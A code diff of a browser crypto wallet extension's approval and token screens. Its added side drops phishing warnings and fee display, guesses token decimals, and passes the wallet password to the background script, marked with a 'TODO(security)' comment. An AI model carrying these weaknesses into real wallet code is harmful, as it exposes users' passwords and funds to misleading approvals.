|
||||
: escapeHtml(tx.symbol);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr =
|
||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -334,25 +312,27 @@ function renderTransactions(txs) {
|
||||
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
$("address-token-full").addEventListener("click", () => {
|
||||
const addr = $("address-token-full").dataset.full;
|
||||
if (addr) {
|
||||
navigator.clipboard.writeText(addr);
|
||||
showFlash("Copied!");
|
||||
}
|
||||
});
|
||||
|
||||
$("address-token-contract-info").addEventListener("click", (e) => {
|
||||
const copyEl = e.target.closest("[data-copy]");
|
||||
if (copyEl) {
|
||||
navigator.clipboard.writeText(copyEl.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback(copyEl);
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-address-token-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
ctx.showAddressDetail();
|
||||
});
|
||||
|
||||
$("btn-address-token-send").addEventListener("click", () => {
|
||||
const defect = walletDefect(state.wallets[state.selectedWallet]);
|
||||
if (defect) {
|
||||
showFlash(defect.shortMessage);
|
||||
return;
|
||||
}
|
||||
const addr =
|
||||
state.wallets[state.selectedWallet].addresses[
|
||||
state.selectedAddress
|
||||
@@ -374,16 +354,29 @@ function init(_ctx) {
|
||||
}
|
||||
// Hide dropdown, show static token display
|
||||
$("send-token").classList.add("hidden");
|
||||
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
|
||||
let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
|
||||
if (tokenId !== "ETH") {
|
||||
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
|
||||
const dot = addressDotHtml(tokenId);
|
||||
const link = `https://etherscan.io/token/${tokenId}`;
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
staticHtml +=
|
||||
`<div class="flex items-center text-xs">${dot}` +
|
||||
`<span class="break-all underline decoration-dashed cursor-pointer" data-copy="${escapeHtml(tokenId)}">${escapeHtml(tokenId)}</span>` +
|
||||
extLink +
|
||||
`</div>`;
|
||||
}
|
||||
$("send-token-static").innerHTML = staticHtml;
|
||||
$("send-token-static").classList.remove("hidden");
|
||||
attachCopyHandlers($("send-token-static"));
|
||||
// Attach copy handler for the contract address
|
||||
const copyEl = $("send-token-static").querySelector("[data-copy]");
|
||||
if (copyEl) {
|
||||
copyEl.addEventListener("click", () => {
|
||||
navigator.clipboard.writeText(copyEl.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
});
|
||||
}
|
||||
updateSendBalance();
|
||||
resetSendValidation();
|
||||
pushCurrentView();
|
||||
showView("send");
|
||||
});
|
||||
|
||||
|
||||
@@ -1,66 +1,51 @@
|
||||
const {
|
||||
$,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
showView,
|
||||
showError,
|
||||
hideError,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { networkByChainId } = require("../../shared/networks");
|
||||
const {
|
||||
formatEther,
|
||||
formatUnits,
|
||||
getBytes,
|
||||
Interface,
|
||||
toUtf8String,
|
||||
} = require("ethers");
|
||||
const { getPrice, formatUsd } = require("../../shared/prices");
|
||||
const { formatEther, formatUnits, Interface, toUtf8String } = require("ethers");
|
||||
const { ERC20_ABI } = require("../../shared/constants");
|
||||
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
||||
const {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
} = require("../../shared/approvalAmount");
|
||||
// Four decimals, with the nonzero floor these screens hold: every amount this
|
||||
// view renders — the ERC-20 line, the ETH value, the max fee — and every one
|
||||
// it carries forward to the wait/success/error screens goes through it.
|
||||
const {
|
||||
truncateAmountNeverZero: formatTxValue,
|
||||
} = require("../../shared/amountDisplay");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
const { walletDefect } = require("../../shared/walletDefects");
|
||||
const { describeSigningFailure } = require("../../shared/approvalVerify");
|
||||
const txStatus = require("./txStatus");
|
||||
const uniswap = require("../../shared/uniswap");
|
||||
const { notify, runtimeApi, sendMessage } = require("../../shared/browserApi");
|
||||
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
const erc20Iface = new Interface(ERC20_ABI);
|
||||
|
||||
function approvalAddressHtml(address) {
|
||||
const dot = addressDotHtml(address);
|
||||
const link = `https://etherscan.io/address/${address}`;
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
const title = addressTitle(address, state.wallets);
|
||||
return renderAddressHtml(address, { title });
|
||||
let html = "";
|
||||
if (title) {
|
||||
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
|
||||
html += `<div class="break-all">${escapeHtml(address)}${extLink}</div>`;
|
||||
} else {
|
||||
html += `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(address)}</span>${extLink}</div>`;
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
// The amount line for a decoded ERC-20 call. With a known scale it is the
|
||||
// token quantity; with `decimals` null it is the base-unit integer with the
|
||||
// unknown scale stated, because formatting it with an assumed scale is what
|
||||
// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
|
||||
// carry, `display` is what the approval screen shows.
|
||||
function tokenAmountText(rawAmount, decimals, symbol) {
|
||||
if (decimals === null) {
|
||||
const unknown = unknownDecimalsAmount(rawAmount);
|
||||
return { raw: unknown, display: unknown };
|
||||
}
|
||||
const formatted = formatTxValue(formatUnits(rawAmount, decimals));
|
||||
return {
|
||||
raw: formatted,
|
||||
display: formatted + (symbol ? " " + symbol : ""),
|
||||
};
|
||||
function formatTxValue(val) {
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return val + ".0000";
|
||||
const dec = (parts[1] + "0000").slice(0, 4);
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
function tokenLabel(address) {
|
||||
@@ -68,34 +53,22 @@ function tokenLabel(address) {
|
||||
return t ? t.symbol : null;
|
||||
}
|
||||
|
||||
function etherscanTokenLink(address) {
|
||||
return `https://etherscan.io/token/${address}`;
|
||||
}
|
||||
|
||||
// Try to decode calldata using known ABIs.
|
||||
// Returns { name, description, details } or null.
|
||||
function decodeCalldata(data, toAddress) {
|
||||
if (!data || data === "0x" || data.length < 10) return null;
|
||||
|
||||
// Where a token's scale is looked for, for every decoder below: the ERC-20
|
||||
// amount line and the swap's Amount and Min. received lines resolve it the
|
||||
// same way, and refuse to format the same way when it is nowhere.
|
||||
const decimalsSources = {
|
||||
trackedTokens: state.trackedTokens,
|
||||
wallets: state.wallets,
|
||||
};
|
||||
|
||||
// Try ERC-20 (approve / transfer)
|
||||
try {
|
||||
const parsed = erc20Iface.parseTransaction({ data });
|
||||
if (parsed) {
|
||||
const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
|
||||
const tokenSymbol = token ? token.symbol : null;
|
||||
// null when no source knows this token's scale. It is not
|
||||
// defaulted to 18: an amount formatted with a guessed scale is
|
||||
// the wrong number, and for a token with fewer decimals than the
|
||||
// guess it is the wrong number in the direction that reads as
|
||||
// zero. See tokenAmountText().
|
||||
const tokenDecimals = resolveTokenDecimals(
|
||||
toAddress,
|
||||
decimalsSources,
|
||||
);
|
||||
const tokenDecimals = token ? token.decimals : 18;
|
||||
const contractLabel = tokenSymbol
|
||||
? tokenSymbol + " (" + toAddress + ")"
|
||||
: toAddress;
|
||||
@@ -107,11 +80,12 @@ function decodeCalldata(data, toAddress) {
|
||||
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
|
||||
);
|
||||
const isUnlimited = rawAmount === maxUint;
|
||||
// An unbounded allowance needs no scale to describe, so it is
|
||||
// still named rather than refused.
|
||||
const amount = isUnlimited
|
||||
? { raw: "Unlimited", display: "Unlimited" }
|
||||
: tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
|
||||
const amountRaw = isUnlimited
|
||||
? "Unlimited"
|
||||
: formatTxValue(formatUnits(rawAmount, tokenDecimals));
|
||||
const amountStr = isUnlimited
|
||||
? "Unlimited"
|
||||
: amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
|
||||
|
||||
return {
|
||||
name: "Token Approval",
|
||||
@@ -132,8 +106,8 @@ function decodeCalldata(data, toAddress) {
|
||||
},
|
||||
{
|
||||
label: "Amount",
|
||||
value: amount.display,
|
||||
rawValue: amount.raw,
|
||||
value: amountStr,
|
||||
rawValue: amountRaw,
|
||||
},
|
||||
],
|
||||
};
|
||||
@@ -142,11 +116,11 @@ function decodeCalldata(data, toAddress) {
|
||||
if (parsed.name === "transfer") {
|
||||
const to = parsed.args[0];
|
||||
const rawAmount = parsed.args[1];
|
||||
const amount = tokenAmountText(
|
||||
rawAmount,
|
||||
tokenDecimals,
|
||||
tokenSymbol,
|
||||
const amountRaw = formatTxValue(
|
||||
formatUnits(rawAmount, tokenDecimals),
|
||||
);
|
||||
const amountStr =
|
||||
amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
|
||||
|
||||
return {
|
||||
name: "Token Transfer",
|
||||
@@ -163,8 +137,8 @@ function decodeCalldata(data, toAddress) {
|
||||
{ label: "Recipient", value: to, address: to },
|
||||
{
|
||||
label: "Amount",
|
||||
value: amount.display,
|
||||
rawValue: amount.raw,
|
||||
value: amountStr,
|
||||
rawValue: amountRaw,
|
||||
},
|
||||
],
|
||||
};
|
||||
@@ -175,79 +149,20 @@ function decodeCalldata(data, toAddress) {
|
||||
}
|
||||
|
||||
// Try Uniswap Universal Router
|
||||
const routerResult = uniswap.decode(data, toAddress, decimalsSources);
|
||||
const routerResult = uniswap.decode(data, toAddress);
|
||||
if (routerResult) return routerResult;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
function showPhishingWarning(elementId, isPhishing) {
|
||||
const el = $(elementId);
|
||||
if (!el) return;
|
||||
// The background script performs the authoritative phishing domain check
|
||||
// and passes the result via the isPhishingDomain flag.
|
||||
if (isPhishing) {
|
||||
el.classList.remove("hidden");
|
||||
} else {
|
||||
el.classList.add("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
// The fields of the approved transaction the value and recipient lines do not
|
||||
// already carry: network, gas limit, fee per gas, the most the fee can come to,
|
||||
// and the nonce. The background compares every one of them against the signed
|
||||
// artifact, so every one of them has to be on the screen — a number that is
|
||||
// verified but never displayed is verified against nothing the user agreed to.
|
||||
function showTxFee(approvedTx, ethPrice) {
|
||||
const network = networkByChainId(approvedTx.chainId);
|
||||
$("approve-tx-network").textContent = network
|
||||
? network.name
|
||||
: "Unknown network (chain id " + BigInt(approvedTx.chainId) + ")";
|
||||
|
||||
const gasLimit = BigInt(approvedTx.gasLimit);
|
||||
const feePerGas = BigInt(approvedTx.maxFeePerGas || approvedTx.gasPrice);
|
||||
const maxFeeEth = formatTxValue(formatEther(gasLimit * feePerGas));
|
||||
const usdStr = formatUsd(
|
||||
ethPrice ? parseFloat(maxFeeEth) * ethPrice : null,
|
||||
);
|
||||
$("approve-tx-fee").textContent =
|
||||
maxFeeEth + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
|
||||
|
||||
let detail =
|
||||
gasLimit.toString() +
|
||||
" gas at up to " +
|
||||
formatUnits(feePerGas, 9) +
|
||||
" gwei";
|
||||
if (approvedTx.maxPriorityFeePerGas) {
|
||||
detail +=
|
||||
", " +
|
||||
formatUnits(approvedTx.maxPriorityFeePerGas, 9) +
|
||||
" gwei priority";
|
||||
}
|
||||
$("approve-tx-fee-detail").textContent = detail;
|
||||
$("approve-tx-nonce").textContent = BigInt(approvedTx.nonce).toString();
|
||||
}
|
||||
|
||||
function showTxApproval(details) {
|
||||
showPhishingWarning(
|
||||
"approve-tx-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
|
||||
// The transaction the background populated. It is displayed as it stands,
|
||||
// signed as it stands, and verified against as it stands — the popup fills
|
||||
// nothing in, so there is no number on this screen that the background
|
||||
// cannot compare with the artifact it gets back.
|
||||
pendingTxParams = details.approvedTx;
|
||||
const approvedTx = details.approvedTx;
|
||||
|
||||
const toAddr = approvedTx.to;
|
||||
const toAddr = details.txParams.to;
|
||||
const token = toAddr ? TOKEN_BY_ADDRESS.get(toAddr.toLowerCase()) : null;
|
||||
const ethValue = formatEther(approvedTx.value || "0");
|
||||
const ethValue = formatEther(details.txParams.value || "0");
|
||||
|
||||
// Build txInfo for status screens
|
||||
pendingTxDetails = {
|
||||
from: details.approvedFrom,
|
||||
from: state.activeAddress,
|
||||
to: toAddr || "",
|
||||
amount: formatTxValue(ethValue),
|
||||
token: "ETH",
|
||||
@@ -255,10 +170,8 @@ function showTxApproval(details) {
|
||||
};
|
||||
|
||||
// If this is an ERC-20 call, try to extract the real recipient and amount
|
||||
const decoded = decodeCalldata(approvedTx.data, toAddr || "");
|
||||
const decoded = decodeCalldata(details.txParams.data, toAddr || "");
|
||||
if (decoded && decoded.details) {
|
||||
let decodedTokenAddr = null;
|
||||
let decodedTokenSymbol = null;
|
||||
for (const d of decoded.details) {
|
||||
if (d.label === "Recipient" && d.address) {
|
||||
pendingTxDetails.to = d.address;
|
||||
@@ -266,20 +179,10 @@ function showTxApproval(details) {
|
||||
if (d.label === "Amount") {
|
||||
pendingTxDetails.amount = d.rawValue || d.value;
|
||||
}
|
||||
if (d.label === "Token In" && d.isToken && d.address) {
|
||||
const t = TOKEN_BY_ADDRESS.get(d.address.toLowerCase());
|
||||
if (t) {
|
||||
decodedTokenAddr = d.address;
|
||||
decodedTokenSymbol = t.symbol;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (token) {
|
||||
pendingTxDetails.token = toAddr;
|
||||
pendingTxDetails.tokenSymbol = token.symbol;
|
||||
} else if (decodedTokenAddr) {
|
||||
pendingTxDetails.token = decodedTokenAddr;
|
||||
pendingTxDetails.tokenSymbol = decodedTokenSymbol;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -293,7 +196,7 @@ function showTxApproval(details) {
|
||||
}
|
||||
|
||||
$("approve-tx-hostname").textContent = details.hostname;
|
||||
$("approve-tx-from").innerHTML = approvalAddressHtml(details.approvedFrom);
|
||||
$("approve-tx-from").innerHTML = approvalAddressHtml(state.activeAddress);
|
||||
|
||||
// Show token symbol next to contract address if known
|
||||
const symbol = toAddr ? tokenLabel(toAddr) : null;
|
||||
@@ -303,21 +206,17 @@ function showTxApproval(details) {
|
||||
toHtml += `<div class="font-bold mb-1">${escapeHtml(symbol)}</div>`;
|
||||
}
|
||||
toHtml += approvalAddressHtml(toAddr);
|
||||
if (symbol) {
|
||||
const link = etherscanTokenLink(toAddr);
|
||||
toHtml = toHtml.replace("</div>", "") + ""; // approvalAddressHtml already has etherscan link
|
||||
}
|
||||
$("approve-tx-to").innerHTML = toHtml;
|
||||
} else {
|
||||
$("approve-tx-to").innerHTML = escapeHtml("(contract creation)");
|
||||
}
|
||||
|
||||
const ethValueFormatted = formatTxValue(
|
||||
formatEther(approvedTx.value || "0"),
|
||||
);
|
||||
const ethPrice = getPrice("ETH");
|
||||
const ethUsd = ethPrice ? parseFloat(ethValueFormatted) * ethPrice : null;
|
||||
const usdStr = formatUsd(ethUsd);
|
||||
$("approve-tx-value").textContent =
|
||||
ethValueFormatted + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
|
||||
|
||||
showTxFee(approvedTx, ethPrice);
|
||||
formatTxValue(formatEther(details.txParams.value || "0")) + " ETH";
|
||||
|
||||
// Decode calldata (reuse decoded from above)
|
||||
const decodedEl = $("approve-tx-decoded");
|
||||
@@ -332,9 +231,12 @@ function showTxApproval(details) {
|
||||
detailsHtml += `<div class="text-muted">${escapeHtml(d.label)}</div>`;
|
||||
if (d.address) {
|
||||
if (d.isToken) {
|
||||
const tLink = etherscanTokenLink(d.address);
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(tokenLabel(d.address) || "Unknown token")}</div>`;
|
||||
}
|
||||
detailsHtml += approvalAddressHtml(d.address);
|
||||
} else {
|
||||
detailsHtml += approvalAddressHtml(d.address);
|
||||
}
|
||||
} else {
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(d.value)}</div>`;
|
||||
}
|
||||
@@ -347,23 +249,14 @@ function showTxApproval(details) {
|
||||
}
|
||||
|
||||
// Always show raw data when present
|
||||
if (approvedTx.data && approvedTx.data !== "0x") {
|
||||
$("approve-tx-data").textContent = approvedTx.data;
|
||||
if (details.txParams.data && details.txParams.data !== "0x") {
|
||||
$("approve-tx-data").textContent = details.txParams.data;
|
||||
$("approve-tx-data-section").classList.remove("hidden");
|
||||
} else {
|
||||
$("approve-tx-data-section").classList.add("hidden");
|
||||
}
|
||||
|
||||
$("approve-tx-password").value = "";
|
||||
hideError("approve-tx-error");
|
||||
|
||||
showView("approve-tx");
|
||||
attachCopyHandlers("view-approve-tx");
|
||||
gateOnWalletDefect(
|
||||
"approve-tx-error",
|
||||
"btn-approve-tx",
|
||||
details.approvedFrom,
|
||||
);
|
||||
}
|
||||
|
||||
function decodeHexMessage(hex) {
|
||||
@@ -415,19 +308,10 @@ function formatTypedDataHtml(jsonStr) {
|
||||
}
|
||||
|
||||
function showSignApproval(details) {
|
||||
showPhishingWarning(
|
||||
"approve-sign-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
|
||||
const sp = details.signParams;
|
||||
pendingSignParams = sp;
|
||||
pendingSignFrom = details.approvedFrom;
|
||||
|
||||
$("approve-sign-hostname").textContent = details.hostname;
|
||||
$("approve-sign-from").innerHTML = approvalAddressHtml(
|
||||
details.approvedFrom,
|
||||
);
|
||||
$("approve-sign-from").innerHTML = approvalAddressHtml(sp.from);
|
||||
|
||||
const isTyped =
|
||||
sp.method === "eth_signTypedData_v4" ||
|
||||
@@ -452,10 +336,10 @@ function showSignApproval(details) {
|
||||
if (warningEl) {
|
||||
if (sp.dangerWarning) {
|
||||
warningEl.textContent = sp.dangerWarning;
|
||||
warningEl.style.visibility = "visible";
|
||||
warningEl.classList.remove("hidden");
|
||||
} else {
|
||||
warningEl.textContent = "";
|
||||
warningEl.style.visibility = "hidden";
|
||||
warningEl.classList.add("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -465,28 +349,12 @@ function showSignApproval(details) {
|
||||
$("btn-approve-sign").classList.remove("text-muted");
|
||||
|
||||
showView("approve-sign");
|
||||
attachCopyHandlers("view-approve-sign");
|
||||
gateOnWalletDefect(
|
||||
"approve-sign-error",
|
||||
"btn-approve-sign",
|
||||
details.approvedFrom,
|
||||
);
|
||||
}
|
||||
|
||||
// Awaited by nobody: the popup entry point calls this and moves on. It
|
||||
// therefore has to absorb its own failure, and a background that cannot
|
||||
// describe the approval is the same outcome as an approval that is gone.
|
||||
async function show(id) {
|
||||
function show(id) {
|
||||
approvalId = id;
|
||||
approvalPort = runtimeApi().connect({ name: "approval:" + id });
|
||||
|
||||
let details = null;
|
||||
try {
|
||||
details = await sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id });
|
||||
} catch {
|
||||
details = null;
|
||||
}
|
||||
|
||||
runtime.connect({ name: "approval:" + id });
|
||||
runtime.sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id }, (details) => {
|
||||
if (!details) {
|
||||
window.close();
|
||||
return;
|
||||
@@ -499,243 +367,77 @@ async function show(id) {
|
||||
showSignApproval(details);
|
||||
return;
|
||||
}
|
||||
// Site connection approval
|
||||
showPhishingWarning(
|
||||
"approve-site-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
$("approve-hostname").textContent = details.hostname;
|
||||
$("approve-address").innerHTML = approvalAddressHtml(state.activeAddress);
|
||||
attachCopyHandlers("view-approve-site");
|
||||
$("approve-address").innerHTML = approvalAddressHtml(
|
||||
state.activeAddress,
|
||||
);
|
||||
$("approve-remember").checked = state.rememberSiteChoice;
|
||||
});
|
||||
}
|
||||
|
||||
let approvalId = null;
|
||||
// The port this approval was opened on. Closing this window disconnects it,
|
||||
// and the background treats that disconnect as "closed without deciding" for a
|
||||
// site connection — so the decision goes out on this same port and not as a
|
||||
// one-off message. One channel is ordered: a message posted on it is delivered
|
||||
// before its own disconnect, however immediately the close follows. Two
|
||||
// channels were not, and the close won, reporting a user who approved as
|
||||
// having refused.
|
||||
let approvalPort = null;
|
||||
let pendingTxDetails = null;
|
||||
// The exact objects shown to the user, kept so the popup signs what it
|
||||
// displayed rather than re-fetching or re-populating anything at approval
|
||||
// time. All are repopulated by show() when the popup is closed and reopened.
|
||||
let pendingTxParams = null;
|
||||
let pendingSignParams = null;
|
||||
// The address the approval was raised for. Signing uses this rather than the
|
||||
// active address, so that an address switch since the approval fails here
|
||||
// instead of producing a signature from an account the screen never named.
|
||||
let pendingSignFrom = null;
|
||||
|
||||
// Approve buttons stay disabled and muted while the popup derives the key and
|
||||
// signs, which is slow enough (Argon2id) that a double click is likely.
|
||||
function setTxButtonBusy(busy) {
|
||||
$("btn-approve-tx").disabled = busy;
|
||||
$("btn-approve-tx").classList.toggle("text-muted", busy);
|
||||
}
|
||||
|
||||
function setSignButtonBusy(busy) {
|
||||
$("btn-approve-sign").disabled = busy;
|
||||
$("btn-approve-sign").classList.toggle("text-muted", busy);
|
||||
}
|
||||
|
||||
// Say so on the approval screen itself, and disable the approve button, when
|
||||
// the address the approval was raised for belongs to a wallet whose keys
|
||||
// cannot be derived. Without this the screen would take a password and fail
|
||||
// after deriving it. Reject stays available; the wallet is not touched.
|
||||
// Returns true when it gated.
|
||||
function gateOnWalletDefect(errorId, buttonId, address) {
|
||||
const owner = findWalletFor(address);
|
||||
const defect = owner ? walletDefect(owner.wallet) : null;
|
||||
if (!defect) return false;
|
||||
showError(errorId, defect.shortMessage);
|
||||
$(buttonId).disabled = true;
|
||||
$(buttonId).classList.add("text-muted");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Locate the wallet and the address index owning an address. Returns null when
|
||||
// no wallet holds it. Approvals look up the address they were raised for, not
|
||||
// whichever address is active now: the approval named one account, and signing
|
||||
// with another is what verification refuses.
|
||||
function findWalletFor(address) {
|
||||
for (const wallet of state.wallets) {
|
||||
for (let i = 0; i < wallet.addresses.length; i++) {
|
||||
if (wallet.addresses[i].address === address) {
|
||||
return { wallet, addrIndex: i };
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// Drop the password from the DOM when either approval screen is left. The
|
||||
// approval window navigates on after a signature — approve-tx goes to the
|
||||
// wait screen — and the password must not sit in the hidden view for the
|
||||
// life of that window.
|
||||
function clearTxPassword() {
|
||||
$("approve-tx-password").value = "";
|
||||
hideError("approve-tx-error");
|
||||
}
|
||||
|
||||
function clearSignPassword() {
|
||||
$("approve-sign-password").value = "";
|
||||
hideError("approve-sign-error");
|
||||
}
|
||||
|
||||
// Answer a site-connection approval and close. The decision goes out on the
|
||||
// approval port — see approvalPort above for why — and carries no approval id,
|
||||
// because the port name already names the approval the background will settle.
|
||||
// The post is guarded because a throw must not cost the close: posting on a
|
||||
// port whose background worker has been torn down throws, and the approval it
|
||||
// would have settled died with that worker, so the only thing left to do is
|
||||
// what the user asked for — go away.
|
||||
function decideSite(approved) {
|
||||
if (approvalPort) {
|
||||
try {
|
||||
approvalPort.postMessage({
|
||||
type: "AUTISTMASK_APPROVAL_DECISION",
|
||||
approved,
|
||||
remember: $("approve-remember").checked,
|
||||
});
|
||||
} catch {
|
||||
// Nothing to report it to; the window closes either way.
|
||||
}
|
||||
}
|
||||
window.close();
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
onViewLeave("approve-tx", clearTxPassword);
|
||||
onViewLeave("approve-sign", clearSignPassword);
|
||||
|
||||
function init(ctx) {
|
||||
$("approve-remember").addEventListener("change", async () => {
|
||||
state.rememberSiteChoice = $("approve-remember").checked;
|
||||
await saveState();
|
||||
});
|
||||
|
||||
$("btn-approve").addEventListener("click", () => {
|
||||
decideSite(true);
|
||||
const remember = $("approve-remember").checked;
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_APPROVAL_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: true,
|
||||
remember,
|
||||
});
|
||||
window.close();
|
||||
});
|
||||
|
||||
$("btn-reject").addEventListener("click", () => {
|
||||
decideSite(false);
|
||||
const remember = $("approve-remember").checked;
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_APPROVAL_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
remember,
|
||||
});
|
||||
window.close();
|
||||
});
|
||||
|
||||
$("btn-approve-tx").addEventListener("click", async () => {
|
||||
let password = $("approve-tx-password").value;
|
||||
$("btn-approve-tx").addEventListener("click", () => {
|
||||
const password = $("approve-tx-password").value;
|
||||
if (!password) {
|
||||
showError("approve-tx-error", "Please enter your password.");
|
||||
return;
|
||||
}
|
||||
hideError("approve-tx-error");
|
||||
setTxButtonBusy(true);
|
||||
$("btn-approve-tx").disabled = true;
|
||||
$("btn-approve-tx").classList.add("text-muted");
|
||||
|
||||
const active = findWalletFor(pendingTxParams.from);
|
||||
if (!active) {
|
||||
password = null;
|
||||
showError(
|
||||
"approve-tx-error",
|
||||
"No wallet was found for the address this transaction was approved for.",
|
||||
);
|
||||
setTxButtonBusy(false);
|
||||
return;
|
||||
}
|
||||
|
||||
const defect = walletDefect(active.wallet);
|
||||
if (defect) {
|
||||
password = null;
|
||||
showError("approve-tx-error", defect.shortMessage);
|
||||
setTxButtonBusy(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// Decrypt here, in the popup. The password must never cross the
|
||||
// extension messaging boundary; only the signed transaction does.
|
||||
let decryptedSecret;
|
||||
try {
|
||||
decryptedSecret = await decryptWithPassword(
|
||||
active.wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
} catch {
|
||||
showError(
|
||||
"approve-tx-error",
|
||||
"That password is incorrect. Please try again.",
|
||||
);
|
||||
setTxButtonBusy(false);
|
||||
return;
|
||||
} finally {
|
||||
// Best-effort: drop the password as soon as the key derivation
|
||||
// is done. Note that JS strings are immutable; this clears the
|
||||
// reference but the original string may persist until GC.
|
||||
password = null;
|
||||
}
|
||||
|
||||
const payload = {
|
||||
runtime.sendMessage(
|
||||
{
|
||||
type: "AUTISTMASK_TX_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: true,
|
||||
};
|
||||
try {
|
||||
const signer = getSignerForAddress(
|
||||
active.wallet,
|
||||
active.addrIndex,
|
||||
decryptedSecret,
|
||||
);
|
||||
// Sign the approved transaction exactly as it was displayed. The
|
||||
// background populated it before this screen was drawn and checks
|
||||
// the artifact against it field for field, so there is nothing to
|
||||
// fill in here and no provider to fill it in from. The copy is
|
||||
// because ethers may strip `from` off what it is handed, and the
|
||||
// approval has to survive a retry intact; keeping `from` on it
|
||||
// makes ethers refuse a key that is not the approved address.
|
||||
payload.rawSignedTx = await signer.signTransaction({
|
||||
...pendingTxParams,
|
||||
});
|
||||
} catch (e) {
|
||||
payload.error =
|
||||
e.shortMessage || e.message || "Transaction signing failed.";
|
||||
} finally {
|
||||
// Best-effort: clear the decrypted secret after use, with the
|
||||
// same immutability caveat as the password above.
|
||||
decryptedSecret = null;
|
||||
}
|
||||
|
||||
// A send that never reaches the background is reported to the user
|
||||
// the same way a background that refused it is: describeSigningFailure
|
||||
// turns a null response into the generic message below.
|
||||
let response = null;
|
||||
try {
|
||||
response = await sendMessage(payload);
|
||||
} catch {
|
||||
response = null;
|
||||
}
|
||||
|
||||
// TODO(security): Move decryption to popup to avoid sending password via runtime.sendMessage
|
||||
password: password,
|
||||
},
|
||||
(response) => {
|
||||
if (response && response.txHash) {
|
||||
txStatus.showWait(pendingTxDetails, response.txHash);
|
||||
return;
|
||||
}
|
||||
// A retryable failure leaves the approval pending in the
|
||||
// background, so stay on this screen with a live button rather
|
||||
// than sending the user to a dead end.
|
||||
const outcome = describeSigningFailure(
|
||||
response,
|
||||
"The transaction could not be sent.",
|
||||
);
|
||||
if (outcome.retryable) {
|
||||
showError("approve-tx-error", outcome.message);
|
||||
setTxButtonBusy(false);
|
||||
} else {
|
||||
txStatus.showError(pendingTxDetails, null, outcome.message);
|
||||
const msg =
|
||||
(response && response.error) || "Transaction failed.";
|
||||
txStatus.showError(pendingTxDetails, null, msg);
|
||||
}
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
$("btn-reject-tx").addEventListener("click", () => {
|
||||
notify({
|
||||
runtime.sendMessage({
|
||||
type: "AUTISTMASK_TX_RESPONSE",
|
||||
id: approvalId,
|
||||
approved: false,
|
||||
@@ -743,117 +445,40 @@ function init(_ctx) {
|
||||
window.close();
|
||||
});
|
||||
|
||||
$("btn-approve-sign").addEventListener("click", async () => {
|
||||
let password = $("approve-sign-password").value;
|
||||
$("btn-approve-sign").addEventListener("click", () => {
|
||||
